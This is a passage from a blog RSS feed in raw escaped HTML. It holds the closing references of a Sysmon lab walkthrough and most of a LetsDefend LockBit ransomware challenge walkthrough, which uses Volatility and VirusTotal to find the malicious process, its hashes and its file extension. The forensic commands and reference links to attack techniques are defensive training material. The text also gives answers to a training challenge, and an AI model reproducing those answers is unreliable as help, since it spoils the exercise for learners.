Sysmon&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another engaging and challenging lab scenario. This was a really fun challenge for me as I&amp;rsquo;ve never had the opportunity to leverage &lt;em&gt;Sysmon&lt;/em&gt; in an investigation despite testing and deploying it fairly often. I chose this one to get some reps in with the logging it provides so that when I need it in the real world, I&amp;rsquo;ll have that practice. I also really appreciated that this investigation required some use of &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; to add context to the answers; in addition to being needed to answer one of the questions. Personally, thinking in terms of &lt;em&gt;TTPs&lt;/em&gt; helps me organize my thoughts during an investigation, so this was also really good practice. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Sysmon:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Sysinternals:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools (EvtxECMD &amp;amp; Timeline Explorer):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sysmon Events Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Atomic Red Team — T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4---bypass-uac-using-fodhelper---powershell&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4&amp;mdash;bypass-uac-using-fodhelper&amp;mdash;powershell&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1548/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1548/002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Mimikatz (S0002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — OS Credential Dumping (T1003):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Use Alternate Authentication Material: Pass the Hash (T1550.002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1550/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1550/002/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — LockBit Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/</link>
            <pubDate>Mon, 11 Nov 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — LockBit Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--lockbit-challenge-walkthrough&#34;&gt;LetsDefend — LockBit Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-memory-forensic-investigation-with-volatility3-volatility2-and-virustotal&#34;&gt;A Memory Forensic Investigation with Volatility3, Volatility2, and VirusTotal&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/lockbit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LockBit Challenge&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. Prepare to be thrown right into the world of digital forensics and incident response (DFIR).&lt;/p&gt;&#xA;&lt;p&gt;A victim&amp;rsquo;s device has been compromised with &lt;em&gt;ransomware&lt;/em&gt; and all their files have been encrypted — now the attacker is demanding payment! Our objective is to dissect a memory dump of the infected device, provide an analysis of the attack, and understand our options. To accomplish this mission, we&amp;rsquo;ll leverage &lt;strong&gt;&lt;em&gt;Volatility3, Volatility2,&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt; to hunt for the malware process, determine what &lt;em&gt;ransomware&lt;/em&gt; family it&amp;rsquo;s part of, scour &lt;em&gt;VirusTotal&lt;/em&gt; to detail its behavior, and uncover how the malware elevates privileges and stays persistent on the system.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/lockbit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/lockbit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You are a Digital Forensics and Incident Response (DFIR) analyst tasked with investigating a ransomware attack that has affected a company&amp;rsquo;s system. The attack has resulted in file encryption, and the attackers are demanding payment for the decryption of the affected files. You have been given a memory dump of the affected system to analyze and provide answers to specific questions related to the attack.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-can-you-determine-the-date-and-time-that-the-device-was-infected-with-the-malware-utc-format-yyyy-mm-dd-hhmmss&#34;&gt;Question 1: Can you determine the date and time that the device was infected with the malware? (UTC, format: YYYY-MM-DD hh:mm:ss)&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation by extracting the &lt;em&gt;ChallengeFile&lt;/em&gt; containing the memory dump of the victim&amp;rsquo;s system, &lt;em&gt;Lockbit.vmem&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To analyze the contents of this file we&amp;rsquo;ll use &lt;em&gt;Volatility,&lt;/em&gt; a popular memory forensics tool. There are a couple of versions of &lt;em&gt;Volatility: Volatility 2.6&lt;/em&gt; (the original, no longer in active development) and the latest, &lt;em&gt;Volatility3&lt;/em&gt; (in active development.) They are a little different but for this challenge, we&amp;rsquo;ll start with &lt;em&gt;Volatility3&lt;/em&gt; but (&lt;strong&gt;&lt;em&gt;spoilers&lt;/em&gt;&lt;/strong&gt;) we will also have to use &lt;em&gt;Volatility2&lt;/em&gt; to solve &lt;strong&gt;Question 4.&lt;/strong&gt; Don&amp;rsquo;t worry, I&amp;rsquo;ll note which version to use since the commands will change, too.&lt;/p&gt;&#xA;&lt;p&gt;Finally, before we dive into &lt;em&gt;Volatility3&lt;/em&gt;, let&amp;rsquo;s get familiar with the command to show the &lt;em&gt;Volatility3&lt;/em&gt; manual pages. This is handy way to see what plugins are available for use:&lt;/p&gt;&#xA;&lt;p&gt;vol -h&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s get started hunting for the malware process. To identify the malicious process, the first step is to understand what processes were running on the victim&amp;rsquo;s system during the incident when the dump was taken. We&amp;rsquo;ll accomplish this by leveraging &lt;em&gt;Volatility&amp;rsquo;s&lt;/em&gt; &lt;code&gt;[windows.pslist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pslist)&lt;/code&gt; plugin to scan the image and list the running processes on the system using the syntax below:&lt;/p&gt;&#xA;&lt;p&gt;vol -f Lockbit.vmem windows.pslist&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;629px&#34; data-flex-grow=&#34;262&#34; height=&#34;305&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/2403fe3b231fd14f2880371a88c22664_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s go out on a limb and assume that the obvious one called &lt;em&gt;mal.exe&lt;/em&gt; is the process we are looking for. From there, we just need to grab the timestamp from the &lt;em&gt;CreateTime&lt;/em&gt; column to determine when the device was infected.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/bd6c3fe15f95de51ae82175b87a4f652_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-name-of-the-ransomware-family-responsible-for-theattack&#34;&gt;Question 2: What is the name of the ransomware family responsible for the attack?&#xA;&lt;/h3&gt;&lt;p&gt;To identify the &lt;strong&gt;&lt;em&gt;ransomware&lt;/em&gt;&lt;/strong&gt; family, we first need to obtain the &lt;em&gt;file hash&lt;/em&gt; of the malware&amp;rsquo;s executable by first extracting the process from the memory dump. We can do this by using &lt;em&gt;Volatility3&amp;rsquo;s&lt;/em&gt; &lt;code&gt;[windows.dumpfiles](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dumpfiles)&lt;/code&gt; plugin to dump file contents from the image. Use the syntax below, specifying an output directory for the dump, and the &lt;em&gt;process ID&lt;/em&gt; (&lt;em&gt;PID&lt;/em&gt;) of the &lt;em&gt;mal.exe&lt;/em&gt; process we found in &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;vol -f Lockbit.vmem -o &lt;YOUR OUTPUT DIRECTORY&gt; windows.dumpfiles &amp;ndash;pid 900&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;822px&#34; data-flex-grow=&#34;342&#34; height=&#34;350&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/51aa8b461c8dae0c895c26ec1092b326_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/51aa8b461c8dae0c895c26ec1092b326_MD5_hu_7aa21e26473c941d.png 800w, https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/51aa8b461c8dae0c895c26ec1092b326_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will give us two separate output files: a &lt;em&gt;.dat&lt;/em&gt; and a &lt;em&gt;.img.&lt;/em&gt; I&amp;rsquo;ll put the results for both below, but for this example let&amp;rsquo;s run a &lt;em&gt;SHA256&lt;/em&gt; hash calculation on the extracted &lt;em&gt;.img&lt;/em&gt; file right from the &lt;em&gt;terminal&lt;/em&gt;. Then, we&amp;rsquo;ll submit the hashes to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; to check if there are any hits.&lt;/p&gt;&#xA;&lt;p&gt;sha256sum file.0xfa801bfe5320.0xfa801c116990.ImageSectionObject.mal.exe.img&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;IMG File — VirusTotal Report:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;sha256sum file.0xfa801bfe5320.0xfa801bde2b10.DataSectionObject.mal.exe.dat&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;DAT File — VirusTotal Report:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After receiving the report for the &lt;em&gt;.img&lt;/em&gt; file, the sample has previously been analyzed by &lt;em&gt;VirusTotal&lt;/em&gt; and is detected as malicious by most scanning engines on the platform. What we are most interested in is the &lt;em&gt;Family labels&lt;/em&gt; tag where we&amp;rsquo;ll see that the malware is part of the &lt;strong&gt;&lt;em&gt;Lockbit&lt;/em&gt;&lt;/strong&gt; ransomware family.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;918px&#34; data-flex-grow=&#34;382&#34; height=&#34;209&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/3822b7706a10ba34ea1b48ac06df3706_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/a2d69d6dadcd15d1a482bcc02adc024d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-file-extension-is-appended-to-the-encrypted-files-by-the-ransomware&#34;&gt;Question 3: What file extension is appended to the encrypted files by the ransomware?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s continue using the &lt;em&gt;VirusTotal&lt;/em&gt; report to see what else we can learn about the malware_._ The next stop is to check the &lt;strong&gt;&lt;em&gt;Behavior &amp;gt; File System Action&lt;/em&gt;&lt;/strong&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;In this area, we can check the &lt;em&gt;Files Written&lt;/em&gt; by the malware to determine what extension it&amp;rsquo;s adding to the files it encrypts. For this sample, we can see that the &lt;em&gt;ransomware&lt;/em&gt; appends the &lt;em&gt;.lockbit&lt;/em&gt; extension to the encrypted files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;214px&#34; data-flex-grow=&#34;89&#34; height=&#34;657&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/76c13568fbeedfac99d2503f206ab4e0_MD5.png&#34; width=&#34;588&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To confirm we see the same behavior, let&amp;rsquo;s jump back into &lt;em&gt;Volatility3&lt;/em&gt; and search the victim&amp;rsquo;s image for anything similar with the &lt;code&gt;[windows.filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan)&lt;/code&gt; plugin which can search for file objects. To make this easier, we can _grep&amp;quot;.lockbit&amp;quot;to narrow down the results.&lt;/p&gt;&#xA;&lt;p&gt;vol -f Lockbit.vmem windows.filescan | grep -i &amp;ldquo;.lockbit&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;568px&#34; data-flex-grow=&#34;236&#34; height=&#34;338&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/16f3e930163930799c78f0b31fd8113c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While this is just a small sampling of the files with this extension, it&amp;rsquo;s enough to confirm that we have found the correct answer to &lt;strong&gt;Question 3&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/d72428fafc85e306356f15f65eeb3750_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-tlsh-trend-micro-locality-sensitive-hash-of-the-ransomware&#34;&gt;Question 4: What is the TLSH (Trend Micro Locality Sensitive Hash) of the ransomware?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we need to find the &lt;strong&gt;&lt;em&gt;Trend Micro Locality Sensitive Hash&lt;/em&gt;&lt;/strong&gt; (&lt;em&gt;TLSH&lt;/em&gt;) of the &lt;em&gt;ransomware&lt;/em&gt; binary. &lt;em&gt;TLSH&lt;/em&gt; is not a term I&amp;rsquo;m familiar with, so let&amp;rsquo;s do some &lt;em&gt;Google&lt;/em&gt; research. We&amp;rsquo;ll find that &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/17/c/smart-whitelisting-using-locality-sensitive-hashing.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;according to &lt;em&gt;Trend Micro&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a &lt;em&gt;TLSH&lt;/em&gt; is:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;a kind of fuzzy hashing that can be employed in machine learning extensions of whitelisting. TLSH can generate hash values which can then be analyzed for similarities. TLSH helps determine if the file is safe to be run on the system based on its similarity to known, legitimate files.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Put another way a &lt;em&gt;TLSH&lt;/em&gt; can be used to detect similarities between objects in data even if the content is not identical. So similar pieces of malware would have similar a &lt;em&gt;TLSH&lt;/em&gt;. But how do we determine the &lt;em&gt;TLSH&lt;/em&gt; of the &lt;em&gt;.img&lt;/em&gt; file we submitted to &lt;em&gt;VirusTotal?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Handily_, VirusTotal_ already calculates the &lt;em&gt;TLSH&lt;/em&gt; upon submission so we can simply refer back to the &lt;strong&gt;Details &amp;gt; Basic Properties&lt;/strong&gt; tab on the &lt;em&gt;VirusTotal&lt;/em&gt; report. Easy enough!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;857px&#34; data-flex-grow=&#34;357&#34; height=&#34;224&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/985abea07a25a38683a44b711d51f3f5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or so I thought&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve run into a problem: the &lt;em&gt;TLSH&lt;/em&gt; reported from the two files (&lt;em&gt;.img &amp;amp;&lt;/em&gt; &lt;em&gt;.dat&lt;/em&gt;&lt;strong&gt;&lt;em&gt;)&lt;/em&gt;&lt;/strong&gt; that we dumped in &lt;strong&gt;Question 2&lt;/strong&gt; do not work to solve the question.&lt;/p&gt;&#xA;&lt;p&gt;For some hindsight: Next, I tried dumping the process by using the &lt;code&gt;[windows.memmap](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#memdump)&lt;/code&gt; and &lt;code&gt;[windows.dlllist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dlllist)&lt;/code&gt; plugins, and while I got some different &lt;em&gt;SHA256&lt;/em&gt; hashes to submit, none matched what the question was looking for. So, after stumbling around researching on &lt;em&gt;Google,&lt;/em&gt; I finally found the following issue on the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3/issues/160&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Volatility3 GitHub&lt;/em&gt;&lt;/a&gt; with this comment:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3/issues/160&#34;  title=&#34;https://github.com/volatilityfoundation/volatility3/issues/160&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;procdump produced files have different checksums from volatility 2 · Issue #160 ·&amp;hellip;&lt;/strong&gt;&#xA;_It differs when you view the hash value of the same file. Is the procdump of ver 2 and 3 different? in this page&amp;rsquo;s&amp;hellip;_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3/issues/160&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This is because the volatility3 &lt;code&gt;procdump&lt;/code&gt; plugin currently outputs files as if they had been dumped by volatility2 with &lt;code&gt;--memory&lt;/code&gt; (ie, it&amp;rsquo;s dumping the memory image, not the reconstructed PE file)&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Ah-ha! Since there are differences in how the process dump works between the two versions of &lt;em&gt;Volatility&lt;/em&gt;. Let&amp;rsquo;s switch to &lt;em&gt;Volatility2,&lt;/em&gt; dump the process again, and compare the output.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;em&gt;Volatility2&lt;/em&gt;, we first must determine what OS image profile is needed — notice that we are using &lt;em&gt;vol.py&lt;/em&gt; now on the analysis environment to launch &lt;em&gt;Volatility2.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f Lockbit.vmem imageinfo&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1339px&#34; data-flex-grow=&#34;558&#34; height=&#34;215&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/3662a3dc27b46d3acf8242518447a7b0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/3662a3dc27b46d3acf8242518447a7b0_MD5_hu_c4045f93018c63a7.png 800w, https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/3662a3dc27b46d3acf8242518447a7b0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we find the correct profile, let&amp;rsquo;s try dumping the &lt;em&gt;mal.exe&lt;/em&gt; process again using the &lt;code&gt;[procdump](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#procdump)&lt;/code&gt; plugin:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f Lockbit.vmem &amp;ndash;profile=Win7SP1x64 procdump &amp;ndash;pid=900 &amp;ndash;dump-dir=YOUR-OUTPUT-DIRECTORY&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3555px&#34; data-flex-grow=&#34;1481&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/f4c616541887d9418c13424b5387870e_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/f4c616541887d9418c13424b5387870e_MD5_hu_9f0f533be135298f.png 800w, https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/f4c616541887d9418c13424b5387870e_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This time, &lt;em&gt;Volatility2&lt;/em&gt; dumps one reconstructed binary instead of the two separate &lt;em&gt;.img&lt;/em&gt; and &lt;em&gt;.dat&lt;/em&gt; files. Let&amp;rsquo;s submit the new file (&lt;em&gt;executable.900.exe)&lt;/em&gt; to &lt;em&gt;VirusTotal&lt;/em&gt; and see if this changes the resulting &lt;em&gt;TLSH:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EXE File — VirusTotal Report:&lt;/strong&gt; &lt;a class=&#34;link&#34; 